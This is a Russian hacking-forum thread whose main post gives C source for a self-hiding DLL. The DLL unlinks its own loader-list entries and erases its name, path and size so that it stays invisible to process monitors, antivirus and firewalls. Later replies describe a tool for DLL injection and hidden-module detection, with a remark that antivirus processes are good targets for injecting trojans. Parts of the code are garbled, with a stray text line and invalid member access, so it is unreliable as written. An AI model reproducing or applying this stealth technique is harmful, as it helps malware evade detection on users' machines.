Статьи RETN (RET, Sysenter)

Тема в разделе "WASM.ARTICLES", создана пользователем RETN, 14 авг 2020.

  1. RETN

    RETN Member

    Публикаций:
    4
    Регистрация:
    4 апр 2020
    Сообщения:
    74
    Усовершенствованный метод сокрытия подгруженной dll
    в изложении на C для новых ОС семейства Windows
    (для начинающих)
    Usermode Hide dll metod in 'C'
    advanced for new family OS Windows
    RET; Sysenter © 2008 - 2020
    Я поместил весь код в один файл, что бы не париться и не оформлять потом в виде отдельной статьи, ибо время - деньги если у нас их нет, мы возьмем их у вас ;) (шутка).
    Все что я здесь накодил - только для изучения стойкости систем защиты от вирусов и других вредных для нас программ и т.д. Как вы будете это применять мне абсолютно все равно, ибо cogitations poenam nemo patitur.
    К написанию данного примера, меня подтолкнула неспособность старых методов скрывать dll из списка загруженных модулей процесса в новых ОС семейства Windows, а именно фатальные ошибки, возникающие при попытках изменения циклических структур LIST_ENTRY.Blink, очевидно связанные с изменением производителями ядра самих этих структур. Поэтому используемые структуры максимально урезаны для данного применения. Наша цель - произвести изменения системной памяти родительского процесса, физически находящейся в его адресном пространстве между памятью выделенной под стек главного потока и начальным адресом проекции файла unicode.nls с целью уничтожения следов о загрузке нашей dll в память этого процесса, которые там оставил загрузчик ядра Windows. Привилегии отладчика нам для этого не нужны. Приступим к делу, пока ребята из Microsoft или чего нибудь не придумали нового.
    Код (C):
    1. #pragma once
    2. #define _WIN32_WINNT 0x501
    3. #include <windows.h>
    4. //Укорачиваем машинный код, за счет секций и выкидываем по-возможности msvcrt
    5. //We abbreviate computer code, to account of sections and miscarry msvcrt
    6. //#pragma comment(linker, "/ENTRY:DllMain") //<-можно раскомментировать в последствии
    7. #pragma comment(linker, "/SECTION:.text,EWRX")
    8. #pragma comment(linker, "/MERGE:.rdata=.data")
    9. #pragma comment(linker, "/MERGE:.text=.data")
    10. /*Объявляем структуры (некоторые сильно урезанные для наших целей)
    11. We Declare structures (some powerfully pared for our whole)
    12. Назначение структур хорошо понятно из их названий и содержания*/
    13. typedef struct _UNICODE_STRING
    14. { USHORT Length;
    15.   USHORT MaximumLength;
    16.   PWSTR Buffer;
    17. } UNICODE_STRING, *PUNICODE_STRING;
    18. typedef struct _PEB_LDR_DATA
    19. { ULONG Length;
    20.   BOOLEAN Initialized;
    21.   PVOID SsHandle;
    22.   LIST_ENTRY InLoadOrderModuleList;
    23.   LIST_ENTRY InMemoryOrderModuleList;
    24.   //<-pared
    25. } PEB_LDR_DATA, *PPEB_LDR_DATA;
    26. typedef struct _LDR_MODULE
    27. { LIST_ENTRY InLoadOrderModuleList;
    28.   LIST_ENTRY InMemoryOrderModuleList;
    29.   LIST_ENTRY InInitializationOrderModuleList;
    30.   PVOID BaseAddress;
    31.   PVOID EntryPoint;
    32.   ULONG SizeOfImage;
    33.   UNICODE_STRING FullDllName;
    34.   UNICODE_STRING BaseDllName;
    35.   ULONG Flags;
    36.   SHORT LoadCount;
    37.   SHORT TlsIndex;
    38.   LIST_ENTRY HashTableEntry;
    39.   ULONG TimeDateStamp;
    40. } LDR_MODULE, *PLDR_MODULE;
    41. typedef struct _PEB
    42. { BOOLEAN InheritedAddressSpace;
    43.   BOOLEAN ReadImageFileExecOptions;
    44.   BOOLEAN BeingDebugged;
    45.   BOOLEAN Spare;
    46.   HANDLE Mutant;
    47.   PVOID ImageBaseAddress;
    48.   PPEB_LDR_DATA LoaderData;
    49.   //<-pared
    50. }PEB,*PPEB;
    51. typedef struct _CLIENT_ID
    52. { HANDLE  UniqueProcess;
    53.   HANDLE  UniqueThread;
    54. } CLIENT_ID, *PCLIENT_ID;
    55. typedef struct _TEB
    56. { NT_TIB Tib;
    57.   PVOID EnvironmentPointer;
    58.   CLIENT_ID Cid;
    59.   PVOID ActiveRpcInfo;
    60.   PVOID ThreadLocalStoragePointer;
    61.   PPEB Peb;
    62.   //<-pared
    63. }PTEB;
    64. /*Прототип функции получения указателя на TEB из ntdll
    65. Function of reception of pointer on TEB from ntdll*/
    66. typedef PTEB (NTAPI* GetCurrentNTTeb)(void);
    67. //Сама наша функция
    68. void DllHide(HANDLE hDLL)
    69. {
    70.   PTEB TEB1;
    71.   PEB* PEB1;
    72.   LIST_ENTRY LIST_ENTRY1;
    73.   PEB_LDR_DATA* PEB_LDR_DATA1;
    74.   LDR_MODULE* LDR_MODULE1;
    75.   /*Получаем указатель на PEB, это можно сделать 3-я методами
    76.   Метод 1(самый простой) :
    77.   __asm
    78.   {
    79.    mov  eax, fs:[30h]
    80.    mov  PEB1, eax
    81.   }
    82.   Метод 2:
    83.   __asm {
    84.   mov eax, fs:[18h]
    85.   mov TEB1, eax
    86.   }
    87.   PEB1=TEB1.Peb;*/
    88.   //Метод 3 (стандартными средствами натива=>,более-менее):
    89.   GetCurrentNTTeb NtGetTEB = NULL;
    90.   Или сразу NtGetPEB
    91.   NtGetTEB = (GetCurrentNTTeb)GetProcAddress(GetModuleHandle("ntdll.dll"),
    92. "NtCurrentTeb");
    93.   TEB1=NtGetTEB();
    94.   PEB1=TEB1.Peb;
    95.   //Получаем указатель на структуру, оставленную загрузчиком ядра
    96.   PEB_LDR_DATA1=PEB1->LoaderData;
    97.   /*Получаем указатель на первый список загруженных модулей
    98.   он всегда описывает ntdll.dll*/
    99.   LIST_ENTRY1=PEB_LDR_DATA1->InLoadOrderModuleList;
    100.   /*Перечисляем списки, пока LDR_MODULE1->BaseAddress
    101.   не совпадет с адресом загрузки нашей dll (здесь можно ускорить
    102.   и так быстрый процесс, но это оставлю вам дебилам кто это читает)*/
    103.   do{  LIST_ENTRY1=*LIST_ENTRY1.Flink;
    104.   LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink;
    105.   }while(LDR_MODULE1->BaseAddress!=hDLL);
    106.   /*Подчищаем структуры, связанные с нашей dll
    107.   здесь код немного растянут для понимаемости*/
    108. MessageBox(NULL,"Вхождение найдено, после \n нажатия OK  dll скроется","2008(c)RET",MB_OK);
    109.   LIST_ENTRY* LIST_ENTRY2;
    110.   LIST_ENTRY* LIST_ENTRY3;
    111.   LIST_ENTRY3=LIST_ENTRY1.Flink;
    112.   LIST_ENTRY2=LIST_ENTRY1.Blink;
    113.   *LIST_ENTRY2->Flink=*LIST_ENTRY3;
    114.   /*Дальше, начиная с XP SP2 не работает:
    115.   LIST_ENTRY3=LIST_ENTRY1.Blink;
    116.   LIST_ENTRY2=LIST_ENTRY1.Flink;
    117.   *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/
    118.   //Продолжаем
    119.   LIST_ENTRY1=LDR_MODULE1->InMemoryOrderModuleList;
    120.   LIST_ENTRY3=LIST_ENTRY1.Flink;
    121.   LIST_ENTRY2=LIST_ENTRY1.Blink;
    122.   *LIST_ENTRY2->Flink=*LIST_ENTRY3;
    123.   /*Дальше, начиная с XP SP2 не работает:
    124.   LIST_ENTRY3=LIST_ENTRY1.Blink;
    125.   LIST_ENTRY2=LIST_ENTRY1.Flink;
    126.   *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/
    127.   /*Практически все, нас уже не видно в ProcessExplorer,Task Explorer,
    128.   даже в Microsoft ListDlls, а вот в каком то-там Starter видно!!!
    129.   А все это потому, что мы удалили вхождения, а вот дескриптор оставили*/
    130.   //Затираем дескриптор (для наглядности через ZeroMemory)
    131.   RtlZeroMemory(&LDR_MODULE1->BaseAddress,sizeof(DWORD));
    132.   /*Практически все, нас нет, но мы работаем, и думая о будущем наших
    133.   фаеров и антивирусов все же подчистим за собой мусор, а именно
    134.   удалим от греха всю информацию о нашей dll из контекста*/
    135.   //Чистим путь к нашей dll
    136.   RtlZeroMemory(&LDR_MODULE1->FullDllName,sizeof(UNICODE_STRING));
    137.   //Чистим имя нашей dll
    138.   RtlZeroMemory(&LDR_MODULE1->BaseDllName,sizeof(UNICODE_STRING));
    139.   //Чистим дату создания нашей dll
    140.   RtlZeroMemory(&LDR_MODULE1->TimeDateStamp,sizeof(DWORD));
    141.   //Чистим размер отображения нашей dll
    142.   RtlZeroMemory(&LDR_MODULE1->SizeOfImage,sizeof(DWORD));
    143.   /*Если захотите можете замаскировать свою dll под какую-либо другую,
    144.   заменив в LDR_MODULE вышеперечисленное чем-то своим*/
    145. }
    146. //Только для примера//For examples
    147. DWORD WINAPI BEEPER(LPVOID hDll)
    148. {
    149.   //пример вызова
    150.   DllHide(hDll);
    151.   while(true){Sleep(1000); Beep(8000,50);}
    152.   return 0;
    153. }
    154. BOOL APIENTRY DllMain( HANDLE hModule,
    155.   DWORD  ul_reason_for_call,
    156.   LPVOID lpReserved
    157.    )
    158. {
    159.   switch (ul_reason_for_call)
    160.   {
    161.   case DLL_PROCESS_ATTACH:
    162.   /*Для примера таймер с бипером ч/з системный динамик
    163.   правда отсюда создавать потоки не желательно
    164.   Поток берется в качестве примера не случайно:
    165.   Если посмотреть в списке потоков в том же Process Explorer,
    166. то мы увидим, что наш поток принадлежит якобы вовсе не нам а kernel32.dll т.к. указателя на дескриптор нашей dll в системной таблице контекста нет*/
    167.   CreateThread(NULL,0,BEEPER,(LPVOID)hModule,0,NULL); //For examples
    168.   break;
    169.   case DLL_THREAD_ATTACH: break;
    170.   case DLL_THREAD_DETACH: break;
    171.   case DLL_PROCESS_DETACH: break;
    172.    }
    173.   if(hModule!=0)   return true;
    174.   else  return false;
    175. }


    /*History source:
    -Tomasz Nowak (http://undocumented.ntinternals.net);
    -Sven B. Schreiber (sbs@orgon.com);
    -MS-Rem (http://wasm.ru/print.php?article=fwb
    P.S: подумал и решил в качестве статьи отослать.*/

    P.S.: Вроде с тюрьмы писал ;)

    Telegram: @DartSidys
    Tox: ADD1CD521F0F4E776D7C57BE367495731C8EDA1EA4B56CEB1A437275EAAB1E0811D0B21999AC
    E-mail: binokle@protonmail.com
    Jabber: CryptorX@404.city
    Jami: crypt
     
  2. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    RETN,

    > метод сокрытия подгруженной dll

    От чего скрытие, сканер память прочитает. И авер вирта в своей среде прочитает.
     
  3. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.252
    Да, это вам не анклав.
     
  4. RETN

    RETN Member

    Публикаций:
    4
    Регистрация:
    4 апр 2020
    Сообщения:
    74
    Согласен, поэтому тут же выложу сорцы как это сделать))
    Есть методология простая - сравнение:
    NtQuerySystemInformation
    NtQueryVirtualMemory
    RtlQueryProcessDebugInformation

    которая в моей приблуде к ProcessExplorer применялась в года, при которых еще мамонты водились))
     
  5. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    RETN,

    Я ничего не понял. В чём суть техники ?

    Память можно скрыть лишь одним путём и системные вызовы там вообще не причем.
     
  6. RETN

    RETN Member

    Публикаций:
    4
    Регистрация:
    4 апр 2020
    Сообщения:
    74
    Демонстрационные функциональные улучшения для системного монитора
    Sysinternals Process Explorer
    1. Возможность выгрузки драйвера или динамических библиотек процесса двумя методами:
    1.1. Мягкий метод: Контекстное меню панели отображения DLL (“Soft Unload Dll or Driver”) – попытка выгрузить модуль стандартными средствами Windows;
    1.2. Жёсткий метод: Контекстное меню панели отображения DLL (“Hard Unload Dll”) – попытка выгрузить модуль стандартными средствами Windows и в случае неудачи – полное принудительное освобождение секции памяти, занимаемое модулем и последующее принудительное высвобождение виртуальной связанной памяти (помечается атрибутом Free);
    Примечание:
    A). При применении “Hard Unload Dll” возможен случай что информация о наличии DLL останется в PEB – структурах процесса, и она будет продолжать отображаться процесс-менеджерами, но в реальности модуль будет гарантированно выгружен из памяти, в чем можно убедиться программами мониторинга виртуальной памяти процессов (например VMMAP от того же Sysinternals, кстати встроил ее вызов в контекстное меню для удобства).
    B). Рекомендуется замораживать или удалять потоки, связанные с выгружаемым модулем,или процесс целиком стандартными средствами Process Explorer (лучше убедиться в принадлежности потока какому либо модулю, включив “View All Dll Mode”).
    C). Данная функциональность будет полезна при выгрузке троянских или рекламных Ad Ware –модулей.
    2. Возможность анализа и отображения скрытых т.н. Stealth – модулей процесса, (Главное меню: “OptionsView All Dll Mode”). При этом отображаются ВСЕ модули, загруженные в виртуальную память процесса (за исключением модулей, скрытых из режима ядра, но таких я не встречал). Эта опция будет полезна, например для поиска троянских и Ad ware модулей, вирусов и т.д. При включенной данной опции также возможна выгрузка с освобождением памяти не только DLL –модулей (в режиме “Hard Unload”). Опция “View All Dll Mode” включается автоматически при просмотре списка DLL процессов, чьи модули не доступны для отображения в обычной версии Process Explorer (процессы, доступ на чтение виртуальной памяти которых, полностью закрыт из режима ядра; например DrWeb5 и т.д.). При включении опции “View All Dll Mode” потоки скрытого модуля также будут отображаться на вкладке Threads как потоки именно этого модуля, а не как потоки kernel32 или ntdll как было раньше.
    Опция “View All Dll Mode” не работает полноценно на Windows XP и Windows2000 без
    установленных SP, на остальных переработано и протестировано в 2010 г.
    Примечание: вообще «перекрытие» доступа к VM процессов (обычно это антивирусы и сетевые экраны) – хороший повод внедрить туда троянский код или вирус, т.к. дыру
    найти всегда можно, если очень нужно….
    3. Внедрение любой динамической библиотеки в процесс (Контекстное меню процессов ”Inject DLL”) – без комментариев, причем внутри плагина осуществляется последовательно 2-мя методами.
    4. Добавлена возможность загрузки и выгрузки драйверов (использовать осторожно, т.к. может привести к неработоспособности системы).
    5. Добавлена возможность сканирования PE-образа файла на упаковщик/протектор или линкер сразу двумя методами (меню Dll “Scan PE”).
    6. Добавлена возможность дампа любого модуля, спроецированного не только как Image, но и как проекция Data, на диск. Что бывает полезно при рипе данных, что в других утилитах я лично не встречал. (меню Dll “Dump …”, два вида дампа …).
    В комплект плагина входит библиотека TEST_HIDE.DLL, для тестирования режима
    инжекта и обнаружения срытых модулей. Сразу после инжекта в процесс она загружается (о чем выводится уведомление), скрывается (о чем выводится еще одно уведомление) и издает периодические сигналы. в системный динамик ПК. Её и потоки, принадлежащие её виртуальной памяти легко можно обнаружить и выгрузить только в режиме “View All Dll Mode”. В комплект входит тестовый драйвер, выводящий в верхней части экрана хаотично закрашенную цветную полосу.
    Все это разработано только в образовательных, ознакомительных, исследовательских и демонстрационных целях, по принципу «как есть».
    Проверялось на совместимость с Windows XP(все SP)и Windows Server 2003, Windows 7.
    Все пожелания, ошибки, предложения, информация по тестированию на совместимость с другими ОС, а так же заказы на разработку и «доработку» программного обеспечения и любых систем АСУТП принимаются на:
    • Telegram: @DartSidys
    • Tox: ADD1CD521F0F4E776D7C57BE367495731C8EDA1EA4B56CEB1A437275EAAB1E0811D0B21999AC
    • Jabber: CryptorX@404.city
    © 2009 - 2010 HiEndSoft aka SYSENTER,Russia​
    --- Сообщение объединено, 15 авг 2020 ---
    To Inde - да нет там сисколов, обычные ntdll - шные функи
    С сорцами сами разберетесь им 10 лет, чисто PoC
    пасс : hugtyoiygfolyihgvyBVHKHBytr51
    https://www.sendspace.com/file/7xjzmi
    Сорцы не компилил и не редактил - чисто рабочая папка под Visual Studio 2010
    Я тогда с этими "Улучшениями" впал в немилость на тогдашнем форуме Sysinternals у Руссиновича :))
     
    M0rg0t нравится это.